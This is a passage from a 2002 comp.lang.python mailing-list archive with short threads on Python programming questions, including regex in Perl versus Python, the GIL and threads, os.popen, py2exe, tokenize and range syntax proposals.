front, and write all your code specific to that one > database? > You mean something like http://www.python.org/topics/database/DatabaseAPI-2.0.html for example? -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From jb at cascade-sys.com Sun May 5 21:35:12 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sun, 05 May 2002 18:35:12 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> Message-ID: <3CD5DDD0.929E2E57@cascade-sys.com> Patrick W wrote: > No genuine need of course, but I think there *is* a sizeable sweet > spot that lies somewhere between C and Python in terms of abstraction > capabilities, speed, coding convenience, etc. Excellent point. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From kragen at pobox.com Tue May 14 03:02:01 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 03:02:01 -0400 Subject: no buffer space available error References: Message-ID: <83lmangql2.fsf@panacea.canonical.org> s.thuriez at laposte.net (sebastien) writes: > I am trying a program that [uses a lot of sockets] > What do I do wrong ? As I get the message can I flush the buffer ? > I am running python 2.1.1 on Windows Me and NT. Why don't you try running your program on a Linux machine instead? You might run into some trouble with limits on the number of open file descriptors, a limit you can usually increase to 1024 with the 'ulimit' or 'limit' command. Also, try limiting the number of simultaneous open sockets. From miracle at paradise.net.nz Sun May 5 18:59:57 2002 From: miracle at paradise.net.nz (Matthew Sherborne) Date: Mon, 6 May 2002 10:59:57 +1200 Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> <3cd31286.5344301@news.mylinuxisp.com> Message-ID: So by embedded you mean that the driver called up the pythonxx.dll in order to execute the code? That's similar to what I'll be doing. I'll be using the python executable to communicate to the kernel mode driver through pipes. Only it uses 2.5 Mb of RAM at run time :( Matthew From gerhard at bigfoot.de Sun May 12 14:42:32 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sun, 12 May 2002 20:42:32 +0200 Subject: python cryptography toolkit In-Reply-To: <3cdeb326.16139670@news1.news.adelphia.net> References: <87it68b3z2.fsf@tux.ntw23.fr> <3cdeb326.16139670@news1.news.adelphia.net> Message-ID: <20020512184232.GB8120@lilith.my-fqdn.de> * Burt Leavenworth [2002-05-12 18:26 +0000]: > On 01 May 2002 13:06:56 GMT, "A.M. Kuchling" > wrote: > > >In article <87it68b3z2.fsf at tux.ntw23.fr>, Sylvain Thenault wrote: > >> [1] http://www.python.org/workshops/1995-05/pct.html > >> [2] ftp://ftp.cwi.nl/pub/pct/pycrypt100.tgz > > > >Yow, that's very old indeed. Try > >http://www.amk.ca/python/code/crypto.html for a newer version, > >1.9alpha1. (Note that there are endianness-related bugs that show up > >on platforms such as SPARC. If you're on an x86 machine, though, > >there's no problem with 1.9a1.) > > > >--amk (www.amk.ca) > >"Eureka" is Greek for "This bath is too hot". > > -- The Doctor, in "The Talons of Weng-Chiang" > > > Is there any way to substitute the GNU GCC compiler for Microsoft's? For compiling Python extensions on Windows? Install mingw32 or Cygwin, then: python setup.py build --compiler=mingw32 Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From clpy at snakefarm.org Mon May 27 07:19:33 2002 From: clpy at snakefarm.org (Carsten Gaebler) Date: Mon, 27 May 2002 13:19:33 +0200 Subject: Python 2.2.1: os.popen() bug? Message-ID: <3CF21645.C760B615@snakefarm.org> Hi there! If I write to a pipe that was opened read-only, python throws an exception, but then the interpreter hangs instead of exiting. Is this beavior expected or a bug? Consider this example on Linux: #! /usr/bin/python import os pipe = os.popen("mail -s Test foo at bar.org") print >> pipe, "Test" # Raises IOError. pipe.close() # Never reached. Regards, Carsten. From nhodgson at bigpond.net.au Sat May 25 19:58:37 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 25 May 2002 23:58:37 GMT Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: John Roth: > Also, it should be possible to mix levels in one program, > the limitation being that any one module is interpreted > under one set of rules. Some of the language changes affect communication between modules. How do you deal with changes in the language that affect the interface provided by one module and consumed by another with a different language level? Say I have some 1.52 code that uses introspection and point it at a 2.2 module that uses the new property support? Or a 1.52 module asked to deal with Unicode? While most dependencies are of the form of new code using old code, it is common for this use to include subclassing old code and other forms where 'use' is really bidirectional. To me, providing a language level feature looks like a huge time sink, with a need for exhaustive pairwise (at least!) cross level testing. Neil From wurmy at earthlink.net Wed May 22 18:30:43 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 22 May 2002 22:30:43 GMT Subject: y=if x>High: 2 elif x <3CEC15F0.DF78A4F@earthlink.net> Message-ID: <3CEC1D26.AF0CE2FB@earthlink.net> Andrew Dalke wrote: > Hans Nowak wrote: > >It may be possible to put everything on one line using > >some obfuscated functional idiom, but I won't go there. :-) > > No problem, I will > > y = (x>high)*2 + (x > This assumes low <= high. > > But please don't use this in real code. Ah, well, this seems kinda alright... I was thinking along the lines of the infamous (a and [b] or [c])[0] idiom... I don't know if a variant of this is possible in this case, and probably don't want to know. :-) -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From marklists at mceahern.com Wed May 1 12:04:01 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 11:04:01 -0500 Subject: Defining new functions at runtime In-Reply-To: Message-ID: > I am writing a GUI interface to a database using tkinter. > Now, I want to > provide a facility where a user can define python functions using the GUI > and then run them in the same runtime environment. so, a normal function > needs to be treated like a method object. > Is this possible? Can I treat functions as first class objects? Can > somebody please guide me as to how I could accomplish this? Checkout the new module: import new I'm curious how you will restrict what they can do? // mark From huaiyu at gauss.almadan.ibm.com Wed May 22 14:05:17 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 22 May 2002 18:05:17 +0000 (UTC) Subject: Licensing question References: <3ce8614f_5@nopics.sjc> <3CE9CC3E.F22C3B5D@cascade-sys.com> <87u1p08ovz.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Stephen J. Turnbull wrote: > >The emotional difference is that Richard Stallman tells me that >dealing with Bill Gates is equivalent to selling myself into slavery, >and that Stallman is imposing the restrictions for my own good, and/or >the moral good. No doubt I personally consider the GPL deal far more >advantageous---but please leave that judgement up to me! There are >exceptions, and they are important to me. I agree with the majority of what you wrote in other paragraphs. And I enjoy most of your writings. But I have a problem with this paragraph. Most people deciding whether to use MS products do not base their consideration on BG's motivation. I think it would also be better to consider GPL software without regarding to RMS's motivation, more so because most GPL'ed software are not owned by FSF. Whenever possible I avoid questioning people's motivation. I prefer to study the consequence of their actions instead. I think a technical forum would be healthier if people try to talk about things instead of persons, esp when making negative comments. On the other hand, warnings like "If you adopt .NET now, you will find yourself trapped in five year" is of a completely different nature from accusations like "BG wants to rule the world". I have no problem at all with people saying "If you use a GPL'ed version of something you'll find troubles down the road", even when it is untrue. Claims about consequences of actions can be examined and refuted if necessary. Now to the particular issue you have with RMS. He might be advocating his cause more than you like, or in ways that offend you, but since he has never been advocating GPL in this group, it might be better for the complaints to go elsewhere as well, such as gnu.misc. In fact, almost all discussions about RMS here in the past few months, pro and con, were prompted by unfounded accusations about GPL, FSF or RMS. If people don't want to talk about these issues here, then please don't talk about them. Huaiyu From bl at netgroup.dk Fri May 31 06:01:06 2002 From: bl at netgroup.dk (Bo Lorentsen) Date: 31 May 2002 12:01:06 +0200 Subject: Embedding and threads ? In-Reply-To: References: <1022771667.689.136.camel@netgroup> <1022830475.893.17.camel@netgroup> Message-ID: <1022839266.823.66.camel@netgroup> On Fri, 2002-05-31 at 10:51, Martin v. L?wis wrote: > I lost track. How do you set the builtins, and why do you have to? Before calling "PyEval_EvalCode", I have to make this call, or I was not even able to use the build in functions like "range" ! PyDict_SetItemString( pDict, "__builtins__", PyEval_GetBuiltins()); pDict is both the local and the global dict. for the PyEval_EvalCode function. > Most certainly they can. They surely do use physical operating system > threads. However, many of the threads may be blocked waiting for the > GIL. One day I may understand this, but until then I hope you bear with me :-) So, besides the ThreatStates, what else does GIL protect ? > You can run Python in parallel with a C++ thread just fine. If two > threads simultaneously want to execute Python code, one of the threads > will block on the GIL. Arhh, so Python can execute in a MT environment, but only one interpreter at a time, the rest is pseudo MT ? > > But I will not be able to have two Python interpreter states running in > > true parallel ? > > With a single processor, you cannot run *any* true threads in true > parallel. On a multiprocessor system, yes, you currently cannot run > two Python threads at the very same time. Now, this makes more sense ! Do you know if there is any plans to make Python more flexible for (real) MT processing in the future ? When looking into the code, it looks like someone have tried to modulize it so that it could be real MT in the future, at least as far as the core language goes. /BL From theller at python.net Tue May 21 14:57:49 2002 From: theller at python.net (Thomas Heller) Date: Tue, 21 May 2002 20:57:49 +0200 Subject: help with py2exe (and vtkpython) References: <3cea6e21.27909250@news.easynews.net> Message-ID: "Marcus Stojek" wrote in message news:3cea6e21.27909250 at news.easynews.net... > Hi, > > some time ago (Python 2.1, py2exe.0.3.1) I have written a little > application to view 3d data with vtk (ver3.0). I have imported: > > from wxPython.lib import vtk > from vtkpython import * > > and built: > > # setup.py > from distutils.core import setup > import py2exe > setup(name="Viewer",scripts=["Viewer.py"],) > > this produced two neat dlls, (vtk.dll and vtkpyhon.dll) and everything > worked just fine. As fas as i understand from looking at vtkpyton.py > all this moduls does is providing the names of the required vtkdlls > that have to be imported. > > Now, (Python 2.2, py2exe0.3.3) the same thing doesn't work any more. > instead of importing vtkpython I have to list all dlls explicitly. > Otherwise not a single vtk***.dll is imported. Furthermore, if I > include these dlls they are just copied into the /dist directory and > are not collected into one or two files as before. > > Any hints what I'm missing ? Markus, can you mail me (privately) your script for examination? Thomas From fperez528 at yahoo.com Wed May 15 10:29:07 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 15 May 2002 08:29:07 -0600 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> <3CE21E01.F3CD9FD2@kfunigraz.ac.at> <3CE23A6D.55870895@kfunigraz.ac.at> Message-ID: Siegfried Gonzi wrote: > > Sorry, for all the confusion. After 2 hours (with the help of a > recognized Linux expert it was possible to install the Numeric module, > finally). > > Good. Glad to hear you got it working. Those things are typically far faster done with in-person help instead of via email guessing. Cheers, f. From phd at phd.pp.ru Sun May 5 13:58:18 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 5 May 2002 21:58:18 +0400 Subject: high volume/speed gethostbyaddr how? In-Reply-To: ; from erno-news@erno.iki.fi on Sun, May 05, 2002 at 07:33:35PM +0300 References: Message-ID: <20020505215818.A19084@phd.pp.ru> On Sun, May 05, 2002 at 07:33:35PM +0300, Erno Kuusela wrote: > In article , Oleg > Broytmann writes: > > | On Sat, May 04, 2002 at 03:28:28PM +0200, Dan Polak wrote: > || Good solution too but I didn't want the extra library so I went with > || threads. > > | Be warned that standard resolver library is not thread-safe. Be careful, > | be very careful. > > are you sure? it looks to me like a lock is used if the platform > doesn't have a gethostbyname_r. of course, you won't get much > of a speedup in this case, but it shouldn't malfunction. Very well, then. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From ods at fep.ru Fri May 17 08:48:15 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Fri, 17 May 2002 16:48:15 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <3CE4F495.A18A6378@cascade-sys.com> Message-ID: On Fri, 17 May 2002, James J. Besemer wrote: JJB> You could further argue that we must have a immutable form JJB> of SETs, JJB> so they could serve as dictionary indices. What's the JJB> argument for JJB> having a mutable form, other than tuple has it? Let alone JJB> both? We often need a collection that is extended step-by-step avoiding duplicates. Certainly we can use immutable sets: s = {-} for item in some_sequence: if is_good(item): s &= {item} # create new set if it's immutable or just # add otherwise but such code will be too expensive for large sets. If we write similar code for strings we'll use StringIO (consider it's some kind of mutable string) or intermidiate list (and join items afterwards). Collecting in list is OK with sets too if we don't need intermediate results as sets. But what about StringIO equivalent for sets? Other immutable types are not agregates (except complex numbers, but this is a special case) and we need not mutable form for them. From zopestoller at thomas-guettler.de Tue May 14 11:14:12 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Tue, 14 May 2002 17:14:12 +0200 Subject: i18n: strftime() with other locale Message-ID: <3CE129C4.9000107@thomas-guettler.de> Hi! time.strftime() depends on the current locale. Is there a way to change the locale for just one function call? It is multithreaded application, and I only want to change the local for this call. Background: "%A Locale's full weekday name." should return "Montag" instead of "Monday". thomas From philh at comuno.freeserve.co.uk Tue May 28 15:06:05 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Tue, 28 May 2002 20:06:05 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: On Tue, 28 May 2002 12:14:05 +0100, Steve Horne wrote: > >I'll admit that I didn't think of that, but Ints[a:b:c] has no >advantage over range(a,b,c). I don't think it is either. >The real issue is not... > > for i in range(10) : I used to think that fir i in x: where (x) is an intreger, was confusing. But lately, I've found myself accidently spontaneously typing it myself instead of range(x) so i guess it makes intuitive sense after all. >but... > > for i in range(len(list)) : > >and other, even longer, expressions where the range becomes annoying. I agree this is too long. vThe last tinme this was discussed, the consensus was that it should be replaced by for i in list.keys(): modelled on the dict.keys() method. > for i in range(1, 10) : > >which can become... > > for i in inclusive (1, 9) : > >or... > > for i in exclusive (0, 10) : i've toyed with the idea of a fromto() function, where fromto(a, b) returns the same as range(a, b+1). There could also be xfromto(), like xrange(). I'm not sure if 'fromto' is the best name, mind. -- <"><"><"> Philip Hunt <"><"><"> <"><"><"> My website has moved -- new address is: <"><"><"> <"><"><"> <"><"><"> From sholden at holdenweb.com Wed May 1 16:23:22 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 16:23:22 -0400 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: "Cliff Wells" wrote ... [...] > > I'm fairly certain that "Laura Creighton" is the psuedonom Lumberjack uses when > he wants to get real nasty but doesn't want to tarnish his reputation. > > ;) > What reputation? regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From jb at cascade-sys.com Tue May 21 00:43:16 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Mon, 20 May 2002 21:43:16 -0700 Subject: Threading unfairness References: <3CE79FA1.BEECAFE8@engcorp.com> Message-ID: <3CE9D064.81371263@cascade-sys.com> Peter Hansen wrote: > We had been unthinkingly using time.sleep(0.01) for a while, just > kind of blindly using it as a free "yield timeslice". Too bad there is no such implementation for this useful function. It'd be great if time.sleep(0) did the job. Or even better would be if there was an explicit thread.yield(). --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From cliechti at gmx.net Sat May 25 09:48:20 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 15:48:20 +0200 Subject: inspect.trace() broke? References: Message-ID: Phlip wrote in news:acn5bj$6p at dispatch.concentric.net: > Here's the line: > f, file, lineno, fn_name, lines, n = inspect.trace()[-1] > Here's the croak: > AttributeError: 'module' object has no attribute 'exc_traceback' a traceback is only available after an exception was thrown: >>> try: ... raise "hello" ... except: ... f, file, lineno, fn_name, lines, n = inspect.trace()[-1] ... print f, file, lineno, fn_name, lines, n ... None 4 ? None None (Py 2.2 win32) chris -- Chris From iwaters at btclick.com Mon May 13 13:47:35 2002 From: iwaters at btclick.com (ian) Date: Mon, 13 May 2002 18:47:35 +0100 Subject: Finding mail exchangers Message-ID: <0eSD8.57422$7R.66720@NewsReader> hi ive almost finished my mail server for a programming assignment im doing what i need to do now is write some code to find the mail exchanger for a given domain for example if i send mail to iwaters at btclick.com it gets sent to pop3.btclick.com how can i get a list of all exchangers for domains? cheers From msoulier at mcss.mcmaster.ca_.nospam Wed May 22 18:59:18 2002 From: msoulier at mcss.mcmaster.ca_.nospam (Michael P. Soulier) Date: 22 May 2002 22:59:18 GMT Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: On 23 May 2002 00:01:17 +0200, Chris Liechti wrote: > > think abbout it as an operator. its is written in function syntax because > +-*/% etc are aleady used. > > it has some advantages and it isn't "inconsistent" at all. i think you > do prefer to write >>>> 1 + 2 > instead of >>>> 1 .__add__(2) > don't you? > (with or without underlines. apropos, "range(3).__len__()" works ;-) Actually, one of the few things I like about Ruby is that all objects in Ruby do have methods, and thus to add two numbers... 2 + 4 2.+(4) are equivalent. Python _does_ seem mildly inconsistent in this regard. Giving strings methods helped a bit, but tuples still have none, and neither do numbers. >>> dir(()) [] >>> dir(2) [] IMHO, they should all be objects with methods and a class, such that they may be subclassed. Mike -- Michael P. Soulier , GnuPG pub key: 5BC8BE08 "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From pyth at devel.trillke.net Fri May 17 10:09:55 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 17 May 2002 16:09:55 +0200 Subject: how to determine an 'open' string? In-Reply-To: <6q1ycbyuy2.fsf@abnoba.intevation.de>; from bh@intevation.de on Fri, May 17, 2002 at 11:39:33AM +0200 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> <20020516232456.P28033@prim.han.de> <20020517110640.54ed274d.larooy@xtar.co.nz> <6q1ycbyuy2.fsf@abnoba.intevation.de> Message-ID: <20020517160955.D23086@prim.han.de> Bernhard Herzog wrote: > holger krekel writes: > > > def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): > > """ return the open quote at the end of text. > > if all string-quotes are matched, return the > > empty string. thanks to Harvey Thomas&John La Roy. > > """ > > rfunc = lambda x,y: x=='' and y or not y.startswith(x) and x or '' > > quotes = rex.findall(text) > > return quotes and reduce(rfunc,quotes) or '' > > This doesn't even look at backslashes in the string. > > >>> open_quote("'\\'") # should return "'" > '' i have a somewhat corrected version but ... > Since you're trying to parse python source code: why don't you try the > tokenize module? this seems like a good idea! I didn't know that tokenize does this (in other contexts like c++/java 'tokenize' was a more general thing not directly capable of parsing quoted strings correctly etc.) Preliminary tests show that python's tokenize is relatively easy to handle although i already found some gotchas. E.g. tokenize produces for print " first the ERRORTOKEN ' ' and then the ERRORTOKEN '"'. (strange, not?) I guess i have to understand 'tokenize' better to have it under full control. i knew there must be a right way :-) thanks again, holger From pyth at devel.trillke.net Thu May 2 16:17:56 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 22:17:56 +0200 Subject: Theoretical question about Lambda In-Reply-To: References: <3CD0DCD6.4050403@vip.fi> Message-ID: <20020502201756.GZ16217@devel.trillke> On Thu, May 02, 2002 at 08:01:35PM +0000, Bengt Richter wrote: > On Thu, 02 May 2002 17:00:11 GMT, Alex Martelli wrote: > >...while doing it with a def would let you much more easily with > >an appropriate if/else: > > > >if doitoneway: > > def foo(): return whatever > >else: > > def foo(): return somethingelse > > > What if doitoneway varies during expression evaluation involving foo, > and whatever and somethingelse involve function calls with side effects? so what? I don't see the problem and i don't see what a ternary operator would give you here. I'd like to see ONE code-example where you think that a ternary operator comes out better than the functionalities python already provides. holger From martin at v.loewis.de Wed May 29 02:47:37 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 29 May 2002 08:47:37 +0200 Subject: Why are types not hashable? References: <3CF3E7A4.9010103@verio.net> Message-ID: "Andrew Dalke" writes: > I can't reproduce what you get on my machine. For example, > what is > typestrings[eval('types.' + t): t] > ? It looks like a slice, as in > typestrings[types.DictionaryType: "DictionaryType"] > > (Trying this on 1.5.2 yields 'TypeError: slice index must be int' > .. a-ha! Under 2.2 it yields your exception) Indeed, this is the same as typestrings.__getitem__(slice(eval('types.' + t), t)) It is the slice objects which are unhashable, hence the error. Regards, Martin From andymac at bullseye.apana.org.au Tue May 14 06:02:51 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Tue, 14 May 2002 21:02:51 +1100 (edt) Subject: eval_code2: Assertion `(stack_pointer - f->f_valuestack) <= ... In-Reply-To: <006701c1faf9$91bd0850$80a8a8c0@rstuartwin2k> Message-ID: On Tue, 14 May 2002 russell-python at stuart.wattle.id.au wrote: > I notice this has been reported before, version in 2.1.2: > > http://sourceforge.net/tracker/?func=detail&atid=105470&aid=499788&group_id=5470 > > That bug is closed, I guess because they hoped it went away > in 2.1.3. How do I pursue this further? Open a new SF bug with as much detail as possible on your setup/circumstances, and include a reference to the closed bug. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From duncan at NOSPAMrcp.co.uk Fri May 31 09:11:19 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 31 May 2002 13:11:19 +0000 (UTC) Subject: Spiral References: Message-ID: Chris wrote in news:riyRODHgB098EwGL@[127.0.0.1]: > > I tried your program and it worked - although it didn't do the same as > my QBASIC program. Yours simply drew a fairly open spiral - not a tight > one giving the moir? patterns. Did you get them? > (I probably made some elementary mistake!) I assumed your code was working in degrees. If so it only goes round just over one complete rotation. If your calculation was in radians you would have gone round many more times. Unless of course I just got it wrong... -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From brueckd at tbye.com Tue May 14 10:37:07 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 14 May 2002 07:37:07 -0700 (PDT) Subject: import question In-Reply-To: <3ce0d9f8.606424437@news.skynet.be> Message-ID: On Tue, 14 May 2002 henk.derudder at barconet.com wrote: > Is there a way to import all possible Python-modules in a module with > a single call (or some other small elegant solution)? Why? From spam at bugbear.com Wed May 15 19:04:05 2002 From: spam at bugbear.com (Paul Graham) Date: 15 May 2002 16:04:05 -0700 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: <4f52f844.0205151504.181f5cf0@posting.google.com> > You can't directly translate that. Access to variable of enclosing > scopes is read only (except in the case of global statements, but that > doesn't help here). It looks as if the closest thing would be something like this, which a Python expert sent me: def foo(n): s = [n] def bar(i): s[0] += i return s[0] return bar Although you can't modify variables from outer scopes, you can modify *parts* of them (which to me seems like the same thing...) The reason this problem seems kind of artificial is that I don't need to solve this actual problem. I heard that recent Python versions had added more support for lexical closures, and was curious how well Python works for the type of programming in Structure and Interpretation of Computer Programs; this is kind of a hello_world of that genre. (It's not a homework problem, I swear.) Incidentally, here is Perl 5 code someone sent me for this case: sub foo { my ($n) = @_; return sub {return $n += $_[0]}} --pg From dalke at dalkescientific.com Fri May 10 21:05:02 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 19:05:02 -0600 Subject: correct way to check for True in __builtins__? References: Message-ID: Mark McEahern: >I want to check whether True is builtin .. > Is there a preferred way to do this? try: True except NameError: print "There is no truth" Andrew dalke at dalkescientific.com From gmcm at hypernet.com Tue May 28 11:06:22 2002 From: gmcm at hypernet.com (Gordon McMillan) Date: 28 May 2002 15:06:22 GMT Subject: Again: gadfly + py2exe HELP really needed References: <3cf28f2f.41689171@news.easynews.net> Message-ID: Max wrote: [snip] > Nice idea, i tried but still have no good results... I've seen no indication you saw my earlier post, so I'll try again. gadfly has a runtime dependency on a file which *not* a .py file, and is *not* imported. It is read using marshal, and it contains the SQL grammar. I haven't used gadfly in a couple years, so you'll have to hunt down the exact filename and where it's expected to live. -- Gordon http://www.mcmillan-inc.com/ From peter at engcorp.com Mon May 20 14:31:11 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 14:31:11 -0400 Subject: wincvs and python question References: <9IaG8.455$vhi2.48234687@news2.randori.com> Message-ID: <3CE940EF.4F02389F@engcorp.com> sidewinder wrote: > > File "C:\Program Files\GNU\WinCvs 1.3\PythonLib\cvsgui\Macro.py", line 63, > > in Run > > _cvsgui.LaunchTclMacro(self.m_file) This looks suspicious. Can you take a look in this file and see what that routine is expecting to do? Maybe you've got it trying to run a Python macro as a TCL one, or vice versa? -Peter From pyth at devel.trillke.net Tue May 21 16:00:33 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 21 May 2002 22:00:33 +0200 Subject: 2.2.1 build fails on linux In-Reply-To: ; from whitney@pk3i.com on Tue, May 21, 2002 at 11:24:28AM -0700 References: Message-ID: <20020521220033.C6509@prim.han.de> Whitney Williams wrote: > > I cannot build a working 2.2.1 installation, and wondered if anyone else had > encountered this problem (and found a workaround)... > > whitney at freaky:~/src/Python-2.2.1$ gcc -v > Reading specs from /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.0.4/specs > Configured with: > ../gcc-3.0.4/configure --with--gnu-as --with-gnu-ld --enable-threads > Thread model: posix > gcc version 3.0.4 I second that builds with gcc 3.0.4 failed on some of our machines, too. I have never had any problem with a pre-3 (read 2.95.4) gcc so i *assume* that gcc3 is the problem. holger From pyth at devel.trillke.net Mon May 27 15:33:47 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 27 May 2002 21:33:47 +0200 Subject: Thought on PEP 204 and 276 In-Reply-To: ; from steve@lurking.demon.co.uk on Mon, May 27, 2002 at 06:31:11PM +0100 References: Message-ID: <20020527213347.B17248@prim.han.de> Steve Horne wrote: > > I can't help being disappointed that PEP 204 was rejected. To me, > > for i in [0:10] : > > is much more intuitive than the PEP 276 version > > for i in 10 : I must say, i dislike both :-) The reasoning in PEP 276 is IMO somewhat superseded by PEP279 (enumerate). For example in PEP276 this code is given: for rowcount in range(table.getRowCount()): print table.getValueAt(rowcount, 0) where for rowcount in table.getRowCount(): print table.getValueAt(rowcount,0) would be the PEP-solution. With enumerate you have for i,item in table: # use item table.setValueAt(i, ***) in many cases (where table is iterable that is). I think that 'for i in 10:' is hardly ever used literally. By far the most common case is: for i in xrange(len(somelist)): item=somelist[i] # use it somelist[i]=newvalue which becomes: for i,item in enumerate(somelist): # use item somelist[i]=newvalue So i don't see many applications for PEP276 anymore. regards, holger From jb at cascade-sys.com Wed May 1 00:56:05 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 30 Apr 2002 21:56:05 -0700 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <3CCF7564.4460B123@cascade-sys.com> Mark McEahern wrote: > Could you give us a concrete example where the use of regular expressions in > Perl is superior to Python? Superior probably is too strong a word, though regex in Perl is a little easier to get to right out of the box. I.e, regex is part of Perl's "builtins". PERL regex example: # No import, compile, function or object syntax. # Implied match is with the "current" thingy ( $_, IIRC) action() if /regex/ ; # perform action() if regex match To match with a specific object, say, a variable you use the "=~" operator. action( $a) if $a =~ /regex/ ; # perform action if regex matches $a Note that the statement for substitute is like the "vi" command: $a ~ s/old/new/gi if $a =~ /pattern1/; # substitue "new" for "old" in $a if $a matches pattern1 # g suffix for global replacement # i suffix for case insensitive comparison I personally find some of these forms to be abominations but they are highly mnenomic to people who have used Unix for a long time. The basic regex operators are similar to Python's, though Perl adds some extras such as {n,m} # preceeding pattern matches at least n but no more than m times A successful match sets a flurry of global variables: $& = the matched portion of the input string $` = everything before the match $' = everything after the match Parentheses in the regex break the matching pattern into "groups" and the portions of the string coresponding to each group may be accessed via: $1, $2, ... E.g., s/^([^ ]* *([^ ]*)/$2 $1/; # reverse order of 2 words if( /Time: (..):(..):(..)/ ){ # extract hh:mm:ss fields $hours = $1; $min = $2; $sec = $3; } Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From mwh at python.net Tue May 21 13:26:41 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 21 May 2002 17:26:41 GMT Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: Fernando P?rez writes: > Michael Hudson wrote: > > >> So indeed, since I'm loading readline at the interactive prompt, there's an > >> under the hood resetting of the locale. Ah, the beauty of perl-like silent, > >> implicit global changes ;) > > > > Now trying playing with signals at the interactive prompt[1] > > . I wouldn't want to live without readline, but sometimes > > I do wish it wouldn't bugger around with stuff my application cares > > about so much. > > > > Agreed. There's not much I can do about readline (I'm not going to > rewrite the whole thing!) Well, as you probably know, that's what *I* did... pyrepl hasn't seen much of my time of late, sadly. Cheers, M. -- The only problem with Microsoft is they just have no taste. -- Steve Jobs, (From _Triumph of the Nerds_ PBS special) and quoted by Aahz Maruch on comp.lang.python From sholden at holdenweb.com Thu May 9 17:10:36 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 17:10:36 -0400 Subject: no pickling code objects? References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Message-ID: "Gon?alo Rodrigues" wrote ... > Hi, > > On the docs on the pickle module it says that code objects can not be > pickled, this in turn implies some limitations on the pickleability > (man, I like this word!) of some objects. The docs mention security > reasons for this choice. But somehow this doesn't feel right. 